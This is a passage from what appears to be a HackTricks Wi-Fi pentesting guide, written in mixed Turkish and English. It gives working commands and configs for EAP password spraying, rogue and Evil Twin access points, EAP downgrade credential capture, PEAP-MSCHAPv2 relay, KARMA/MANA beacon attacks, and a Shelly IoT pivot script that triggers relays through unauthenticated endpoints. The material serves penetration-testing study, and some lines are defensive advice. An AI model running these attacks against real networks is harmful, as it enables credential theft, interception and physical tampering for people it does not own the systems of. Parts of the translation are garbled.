- İstemcilerin 3GPP yönergelerine (ör. 3GPP TS 33.402) göre EAP‑SIM/AKA için anonim dış kimlikler (takma adlar) kullandığını doğrulayın.
- Kimlik aşamasını tünellemeyi tercih edin (ör., içte EAP‑SIM/AKA taşıyan EAP‑TTLS/PEAP), böylece IMSI asla düz metin olarak gönderilmez.
- association/auth paket yakalamaları EAP-Response/Identity içinde ham bir IMSI ortaya çıkarmamalıdır.
İlgili: Yakalanmış mobil tanımlayıcılarla telekom sinyalizasyonu istismarı
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>
### EAP-Bruteforce (password spray)
İstemcinin bir **username and password** kullanması bekleniyorsa (bu durumda **EAP-TLS won't be valid**), bir **list** (sonraki kısmı görün) halinde **usernames** ve **passwords** elde etmeye çalışabilir ve erişimi [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** kullanarak **bruteforce** ile kırmayı deneyebilirsiniz.
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Bu saldırıyı eaphammer kullanarak da gerçekleştirebilirsiniz:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
İstemci saldırıları Teorisi
Ağ Seçimi ve Roaming
- 802.11 protokolü bir istemcinin Extended Service Set (ESS)’e nasıl katıldığını tanımlar, ancak bir ESS’i veya içindeki bir access point (AP)’i seçme kriterlerini belirtmez.
- İstemciler aynı ESSID’i paylaşan AP’ler arasında dolaşabilir; bir bina veya alan boyunca bağlantıyı sürdürebilirler.
- Protokol, istemcinin ESS’e karşı kimlik doğrulamasını gerektirir, ancak AP’nin istemciye karşı kimlik doğrulamasını zorunlu kılmaz.
Preferred Network Lists (PNLs)
- İstemciler, Preferred Network List (PNL)’lerinde bağlandıkları her kablosuz ağın ESSID’sini ve ağla ilgili yapılandırma detaylarını saklar.
- PNL, bilinen ağlara otomatik bağlanmak için kullanılır; bu, bağlantı sürecini sadeleştirerek kullanıcı deneyimini iyileştirir.
Passive Scanning
- AP’ler periyodik olarak beacon frames yayınlayarak varlıklarını ve özelliklerini duyurur; broadcasting devre dışı bırakılmadıkça bu duyurular AP’nin ESSID’sini içerir.
- Pasif tarama sırasında istemciler beacon frames’leri dinler. Bir beacon’ın ESSID’si istemcinin PNL’sindeki bir girişle eşleşirse, istemci o AP’ye otomatik olarak bağlanabilir.
- Bir cihazın PNL’sini bilmek, bilinen bir ağın ESSID’sini taklit ederek cihazı rogue AP’ye bağlanmaya kandırma gibi kötüye kullanımlara imkan verebilir.
Active Probing
- Aktif probing, yakınlardaki AP’leri ve onların özelliklerini keşfetmek için istemcilerin probe requests göndermesini içerir.
- Directed probe requests belirli bir ESSID’i hedef alır; bu, özellikle gizli bir ağ olsa bile belirli bir ağın menzil içinde olup olmadığını tespit etmeye yardımcı olur.
- Broadcast probe requests null SSID alanına sahiptir ve yakınlardaki tüm AP’lere gönderilir; bu sayede istemci, PNL içeriğini açığa çıkarmadan herhangi bir tercih edilen ağı kontrol edebilir.
İnternete yönlendirme ile Basit AP
Daha karmaşık saldırıların nasıl gerçekleştirileceği anlatılmadan önce sadece nasıl bir AP oluşturulacağı ve onun trafiğinin İnternete bağlı bir arayüze yönlendirileceğinin açıklanması yapılacak.
Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Yapılandırma dosyasını oluşturun /etc/dnsmasq.conf:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Sonra set IPs ve routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
Ve sonra dnsmasq’ı başlatın:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Bir konfigürasyon dosyası oluşturun hostapd.conf:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Rahatsız eden süreçleri durdurun, monitor mode’u ayarlayın ve hostapd’yi başlatın:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Yönlendirme ve Yeniden Yönlendirme
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
An evil twin attack exploits the way WiFi clients recognize networks, primarily relying on the network name (ESSID) without requiring the base station (access point) to authenticate itself to the client. Key points include:
- Ayrım Yapmanın Zorluğu: Cihazlar, aynı ESSID ve şifreleme türünü paylaşıyorlarsa meşru ve rogue access points arasında ayrım yapmakta zorlanır. Gerçek dünya ağlarında kapsama alanını sorunsuzca genişletmek için genellikle aynı ESSID’yi kullanan birden fazla access point bulunur.
- İstemci Roaming ve Bağlantı Manipülasyonu: 802.11 protokolü, cihazların aynı ESS içindeki access points arasında dolaşmasına izin verir. Saldırganlar bunu, bir cihazı mevcut base station’dan bağlantısını kesmeye ve rogue access point’e bağlanmaya yönlendirerek suistimal edebilir. Bu, daha güçlü bir sinyal sunarak veya meşru access point ile bağlantıyı deauthentication packets veya jamming gibi yöntemlerle bozarak gerçekleştirilebilir.
- Uygulamadaki Zorluklar: Birden fazla ve iyi konumlanmış access points bulunan ortamlarda başarılı bir evil twin attack gerçekleştirmek zor olabilir. Tek bir meşru access point’i deauthenticate etmek genellikle cihazın başka bir meşru access point’e bağlanmasıyla sonuçlanır; saldırgan tüm yakın access points’i deauthenticate edemediği veya rogue access point’i stratejik olarak yerleştiremediği sürece.
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Ayrıca eaphammer kullanarak bir Evil Twin oluşturabilirsiniz (eaphammer ile evil twins oluşturmak için arayüzün monitor modunda olmaması gerektiğini unutmayın):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Veya Airgeddon kullanarak: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
.png)
Lütfen dikkat edin: varsayılan olarak PNL’deki bir ESSID WPA korumalı olarak kaydedildiyse, cihaz otomatik olarak bir Open evil Twin’e bağlanmaz. Gerçek AP’yi DoS ederek kullanıcının manuel olarak Open evil twin’inize bağlanmasını umabilirsiniz; ya da gerçek AP’yi DoS edip bir WPA Evil Twin kullanarak handshake’i yakalayabilirsiniz (bu yöntemle mağdurun size bağlanmasına izin veremezsiniz çünkü PSK’yı bilmiyorsunuz, fakat handshake’i yakalayıp kırmayı deneyebilirsiniz).
Bazı OS ve AV’ler, Open bir ağa bağlanmanın tehlikeli olduğunu kullanıcıya bildirebilir…
WPA/WPA2 Evil Twin
Bir Evil Twin using WPA/2 oluşturabilirsiniz ve eğer cihazlar o SSID’ye WPA/2 ile bağlanacak şekilde yapılandırıldıysa bağlanmayı deneyeceklerdir. Ancak, to complete the 4-way-handshake yapabilmek için istemcinin kullanacağı passwordu knowmanız gerekir. Eğer don’t know ise, connection won’t be completed.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Bu saldırıları anlamak için önce kısa WPA Enterprise explanation bölümünü okumanızı öneririm.
hostapd-wpe Kullanımı
hostapd-wpe’nin çalışması için bir yapılandırma dosyasına ihtiyacı vardır. Bu yapılandırmaların oluşturulmasını otomatikleştirmek için https://github.com/WJDigby/apd_launchpad kullanabilirsiniz (içindeki python dosyasını /etc/hostapd-wpe/ dizinine indirin)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
Konfigürasyon dosyasında ssid, channel, user files, cret/key, dh parameters, wpa version and auth… gibi birçok farklı şeyi seçebilirsiniz.
hostapd-wpe ile EAP-TLS kullanarak herhangi bir sertifikanın oturum açmasına izin verme.
EAPHammer kullanımı
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Varsayılan olarak, EAPHammer bu kimlik doğrulama yöntemlerini kullanır (GTC’nin plaintext parolaları elde etmeye çalışmak için ilk yöntem olduğunu ve ardından daha sağlam auth yöntemlerinin kullanıldığını unutmayın):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Bu, uzun bağlantı sürelerini önlemek için varsayılan yöntemdir. Ancak, ayrıca sunucuya doğrulama yöntemlerini en zayıftan en güçlüye doğru belirtebilirsiniz:
--negotiate weakest
Or you could also use:
--negotiate gtc-downgradeto use highly efficient GTC downgrade implementation (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAPto specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).- Find more info in the wiki
When clients skip RADIUS certificate validation (PEAP/TTLS)
- If devices are configured with “do not validate certificate”, a cloned AP + rogue RADIUS (
eaphammer --cert-wizard --creds --auth wpa-eap) will collect NetNTLMv2 (PEAP-MSCHAPv2) or cleartext creds (PEAP-GTC).bettercapdeauth (wifi.deauth <BSSID>) both reveals hidden SSIDs during probes and forces reconnects, unless PMF/802.11w blocks spoofed deauth. - Cracked NetNTLMv2 gives reusable Wi‑Fi/AD creds; GTC yields immediate plaintext.
Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)
- For machine accounts with uncrackable random passwords, abuse MSCHAPv2 relay: run
hostapd-manaas the Evil Twin, forwarding the MSCHAPv2 exchange towpa_sycophant, which simultaneously connects to the legitimate AP. Successful relay grants authenticated Wi‑Fi without recovering the password. - Use builds that support the target security level (WPA3/PMF requires recent hostapd/wpa_supplicant); PMF prevents deauth coercion, so wait for voluntary client associations.
Using Airgeddon
Airgeddon can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to capture the user and the MD5 of the password. Later, the attacker can try to crack the password.Airggedon offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).
.png)
Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
This method was tested in an PEAP connection but as I’m decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS
Inside the configuration of hostapd-wpe comment the line that contains dh_file (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
This will make hostapd-wpe to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key.
Now start the Evil Twin using hostapd-wpe with that modified configuration as usual. Also, start wireshark in the interface which is performing the Evil Twin attack.
Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Add a new entry and fill the form with this values: IP address = any – Port = 0 – Protocol = data – Key File (select your key file, to avoid problems select a key file without being password protected).
.png)
And look at the new “Decrypted TLS” tab:
.png)
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
Different types of Media Access Control Filter Lists (MFACLs) and their corresponding modes and effects on the behavior of a rogue Access Point (AP):
- MAC-based Whitelist:
- The rogue AP will respond only to probe requests from devices specified in the whitelist, remaining invisible to all others not listed.
- MAC-based Blacklist:
- The rogue AP will ignore probe requests from devices on the blacklist, effectively making the rogue AP invisible to those specific devices.
- SSID-based Whitelist:
- The rogue AP will respond to probe requests only for specific ESSIDs listed, making it invisible to devices whose Preferred Network Lists (PNLs) do not contain those ESSIDs.
- SSID-based Blacklist:
- The rogue AP will not respond to probe requests for the specific ESSIDs on the blacklist, making it invisible to devices seeking those particular networks.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Bu yöntem, attacker’ın ağlara bağlanmaya çalışan cihazlardan gelen tüm probe requests’lara yanıt veren kötü amaçlı bir access point (AP) oluşturmasına olanak tanır. Bu teknik, cihazların aradığı ağları taklit ederek cihazları attacker’ın AP’sine bağlanmaya kandırır. Bir cihaz rogue AP’ye bir bağlantı isteği gönderdiğinde, bağlantı tamamlanır ve cihaz yanlışlıkla attacker’ın ağına bağlanmış olur.
MANA
Sonrasında, cihazlar unsolid ağ cevaplarını görmezden gelmeye başladı, bu da orijinal karma attack’in etkinliğini azalttı. Ancak Ian de Villiers ve Dominic White tarafından tanıtılan yeni bir yöntem olan MANA attack geliştirildi. Bu yöntem, rogue AP’nin Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests cihazların broadcast probe requests’larına, cihazlar tarafından daha önce bilinen ağ adları (SSIDs) ile yanıt vererek Preferred Network Lists (PNL)’lerini ele geçirmesini içerir. Bu gelişmiş saldırı, cihazların bilinen ağları hatırlama ve önceliklendirme şeklinden yararlanarak orijinal karma attack’e karşı olan korumaları atlatır.
MANA attack, cihazlardan gelen hem directed hem de broadcast probe requests’ları izleyerek çalışır. Directed istekler için cihazın MAC adresini ve istenen ağ adını kaydeder ve bu bilgileri bir listeye ekler. Bir broadcast isteği alındığında, AP cihazın listesindeki ağlarla eşleşen bilgilerle yanıt verir ve cihazı rogue AP’ye bağlanmaya teşvik eder.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
A Loud MANA attack, cihazların directed probing kullanmaması veya Preferred Network Lists (PNL) saldırgan tarafından bilinmediğinde uygulanan gelişmiş bir stratejidir. Bu, aynı alandaki cihazların PNL’lerinde bazı ağ adlarını paylaşma olasılığının yüksek olduğu ilkesine dayanır. Seçici yanıt vermek yerine, bu saldırı gözlemlenen tüm cihazların birleştirilmiş PNL’lerinde bulunan her ağ adı (ESSID) için probe responses yayınlar. Bu geniş yaklaşım, bir cihazın tanıdık bir ağı tanıma ve rogue Access Point (AP)’e bağlanmaya çalışması olasılığını artırır.
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Loud MANA attack yeterli olmayabileceğinde, Known Beacon attack başka bir yaklaşım sunar. Bu yöntem bağlantı sürecini brute-forces ederek, herhangi bir ağ adına yanıt veren bir AP’yi taklit eder ve wordlist’ten türetilen potansiyel ESSID’ler listesini sırayla dener. Bu, çok sayıda ağın varlığını simüle eder; amaç kurbanın PNL’sindeki bir ESSID ile eşleşmek ve sahte AP’ye bir bağlantı denemesini tetiklemektir. Saldırı, cihazları yakalamak için daha agresif bir girişim amacıyla --loud seçeneğiyle birleştirilerek güçlendirilebilir.
Eaphammer bu saldırıyı, listedeki tüm ESSID’lerin yayınlandığı bir MANA attack olarak uyguladı (bu ayrıca --loud ile birleştirilip Loud MANA + Known beacons attack oluşturulabilir):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
Known Beacon Burst attack şunu içerir: rapid-fire broadcasting of beacon frames for each ESSID listed in a file. Bu, sahte ağlarla dolu yoğun bir ortam oluşturur ve cihazların rogue AP’ye bağlanma olasılığını büyük ölçüde artırır, özellikle MANA attack ile birleştiğinde. Bu teknik hız ve hacmi kullanarak cihazların ağ seçim mekanizmalarını bunaltır.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct Wi‑Fi kullanarak geleneksel bir kablosuz erişim noktasına ihtiyaç duymadan cihazların doğrudan birbirine bağlanmasını sağlayan bir protokoldür. Bu yetenek yazıcılar ve televizyonlar gibi çeşitli Internet of Things (IoT) cihazlarına entegre edilmiştir ve cihazlar arası doğrudan iletişimi kolaylaştırır. Wi‑Fi Direct’in dikkat çekici bir özelliği, bağlantıyı yönetmek için bir cihazın grup sahibi (group owner) rolünü üstlenmesidir.
Wi‑Fi Direct bağlantılarının güvenliği, birkaç güvenli eşleştirme yöntemini destekleyen Wi‑Fi Protected Setup (WPS) ile sağlanır; bunlar arasında şunlar bulunur:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
Bu yöntemler, özellikle PIN entry, geleneksel Wi‑Fi ağlarındaki WPS ile aynı zayıflıklara açıktır ve benzer saldırı vektörlerinin hedefi olabilir.
EvilDirect Hijacking
EvilDirect Hijacking Wi‑Fi Direct’e özgü bir saldırıdır. Evil Twin attack kavramını yansıtır ancak hedefi Wi‑Fi Direct bağlantılarıdır. Bu senaryoda saldırgan, cihazları kötü amaçlı bir varlığa bağlanmaya aldatmak amacıyla meşru bir group owner’ı taklit eder. Bu yöntem, kanal, ESSID ve taklit edilen cihazın MAC adresi belirtilerek airbase-ng gibi araçlarla yürütülebilir:
Commissioning AP persistence & dual-homed IoT pivoting (Shelly Gen4 case)
Bazı tüketici IoT röleleri/denetleyicileri, IoT WLAN’a katıldıktan sonra commissioning open AP’yi aktif tutar (ör. Shelly ile başlayan Shelly Gen4 SSID’leri). Cihaz dual-homed kalır: varsayılan IP’si 192.168.33.1 olan bir AP arayüzü ile iç WLAN’da bir client arayüzü.
Abuse flow (Wi‑Fi proximity required):
- Provisioning AP’ye bağlanın, bir DHCP lease alın ve AP-side HTTP API’yi inceleyin.
http://192.168.33.1/relay/0?turn=ongibi kimlik doğrulaması olmayan endpoint’ler aracılığıyla röleleri tetikleyin (kapı/garaj/kapı etkisi). Firmware yükleme endpoint’leri kalıcılık ekleyebilir.- Bunu bir pivot olarak kullanın: Shelly scripting, iç arayüzden diğer LAN host’larına HTTP gönderebilir. Örnek olarak başka bir Shelly’ye
10.0.98.221adresine pivot:
Shelly.addEventHandler(function (event) {
if (event.component === "switch:0" && event.info.state) {
Shelly.call("HTTP.GET", { url: "http://10.0.98.221/light/0?turn=on" });
}
});
URL’yi erişilebilir herhangi bir dahili HTTP hedefi ile değiştirin; dual-homing ek routing/NAT işlerinden kaçınır.
4. Ölçekli kullanım: commissioning AP’leri sahada istismar etmek için vendor SSID’lerini wigle.net üzerinde sorgulayın (ör. Shelly).
Kalıcılık için commissioning AP’yi etkin bırakın.
References
- https://www.pentestpartners.com/security-blog/shelly-iot-door-controller-config-fail-leaving-your-garage-home-and-security-exposed/
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 – EAP-SIM Authentication
- 3GPP TS 33.402 – 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
- Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025 (Synacktiv)
- PEAP relay attacks with wpa_sycophant (SensePost)
TODO: Take a look to https://github.com/wifiphisher/wifiphisher (Facebook ile giriş ve captive portal’larda WPA taklidi)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


